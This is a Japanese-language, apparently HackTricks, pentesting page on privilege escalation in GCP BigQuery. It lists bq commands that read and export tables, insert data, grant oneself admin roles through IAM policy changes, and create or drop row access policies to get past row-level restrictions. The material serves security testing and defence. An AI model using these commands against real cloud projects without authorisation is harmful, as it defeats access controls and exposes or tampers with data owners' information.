# GCP - BigQuery Privesc

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## BigQuery

BigQueryに関する詳細は以下を参照してください:

{{#ref}}
../gcp-services/gcp-bigquery-enum.md
{{#endref}}

### Read Table

BigQueryテーブル内に格納された情報を読み取ることで、**機密情報**が見つかる可能性があります。情報にアクセスするために必要な権限は **`bigquery.tables.get`** 、 **`bigquery.jobs.create`** および **`bigquery.tables.getData`** です:

<details>
<summary>BigQuery テーブルのデータを読み取る</summary>
```bash
bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
```
</details>

### データのエクスポート

これはデータにアクセスする別の方法です。**Cloud Storage バケットにエクスポート**し、**ファイルをダウンロード**して情報を入手します。\
この操作を実行するには次の権限が必要です：**`bigquery.tables.export`**、**`bigquery.jobs.create`**、および**`storage.objects.create`**。

<details>
<summary>BigQuery テーブルを Cloud Storage にエクスポート</summary>
```bash
bq extract <dataset>.<table> "gs://<bucket>/table*.csv"
```
</details>

### データの挿入

別の場所にある脆弱性を悪用するために、BigQuery テーブルに **特定の信頼されたデータを導入** できる場合があります。これは **`bigquery.tables.get`**, **`bigquery.tables.updateData`** および **`bigquery.jobs.create`** の権限があれば簡単に実行できます：

<details>
<summary>BigQuery テーブルにデータを挿入</summary>
```bash
# Via query
bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'

# Via insert param
bq insert dataset.table /tmp/mydata.json
```
</details>

### `bigquery.datasets.setIamPolicy`

攻撃者はこの権限を悪用して、BigQuery データセットに対して **自身にさらなる権限を付与する** ことができます:

<details>
<summary>BigQuery データセットの IAM ポリシーを設定</summary>
```bash
# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>

# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy
```
</details>

### `bigquery.datasets.update`, (`bigquery.datasets.get`)

この権限だけで、**誰がアクセスできるかを示す ACLs を変更することで、BigQuery データセットに対するあなたのアクセス権を更新**できます:

<details>
<summary>BigQuery データセットの ACLs を更新</summary>
```bash
# Download current permissions, reqires bigquery.datasets.get
bq show --format=prettyjson <proj>:<dataset> > acl.json
## Give permissions to the desired user
bq update --source acl.json <proj>:<dataset>
## Read it with
bq head $PROJECT_ID:<dataset>.<table>
```
</details>

### `bigquery.tables.setIamPolicy`

攻撃者はこの権限を悪用して、BigQuery テーブルに対して**自分にさらに権限を付与する**ことができます:

<details>
<summary>BigQuery テーブルの IAM ポリシーを設定</summary>
```bash
# For this you also need bigquery.tables.setIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>.<table>

# use the set-iam-policy if you don't have bigquery.tables.setIamPolicy
```
</details>

### `bigquery.rowAccessPolicies.update`, `bigquery.rowAccessPolicies.setIamPolicy`, `bigquery.tables.getData`, `bigquery.jobs.create`

ドキュメントによると、前述の権限があれば**行アクセスポリシーを更新**できます。\
しかし、**cli `bq` を使用する場合**、さらに次の権限が必要です: **`bigquery.rowAccessPolicies.create`**, **`bigquery.tables.get`**。

<details>
<summary>行アクセスポリシーの作成または置換</summary>
```bash
bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:user@email.xyz>") FILTER USING (term = "Cfba");' # A example filter was used
```
</details>

row policies の列挙の出力から filter ID を見つけることができます。例：

<details>
<summary>row access policies を列挙する</summary>
```bash
bq ls --row_access_policies <proj>:<dataset>.<table>

Id        Filter Predicate            Grantees              Creation Time    Last Modified Time
------------- ------------------ ----------------------------- ----------------- --------------------
apac_filter   term = "Cfba"      user:asd@hacktricks.xyz   21 Jan 23:32:09   21 Jan 23:32:09
```
</details>

もし **`bigquery.rowAccessPolicies.delete`** を `bigquery.rowAccessPolicies.update` の代わりに持っている場合、ポリシーを削除することもできます:

<details>
<summary>行アクセス ポリシーを削除</summary>
```bash
# Remove one
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<dataset-name>.<table-name>`;'

# Remove all (if it's the last row policy you need to use this
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'
```
</details>

> [!CAUTION]
> 行アクセスポリシーを回避する別の方法として、制限されたデータの値を単に変更することが考えられます。もし `term` が `Cfba` のときしか見えないなら、テーブル内のすべてのレコードを `term = "Cfba"` に変更すればよい。しかしこれは bigquery によって防止されます。

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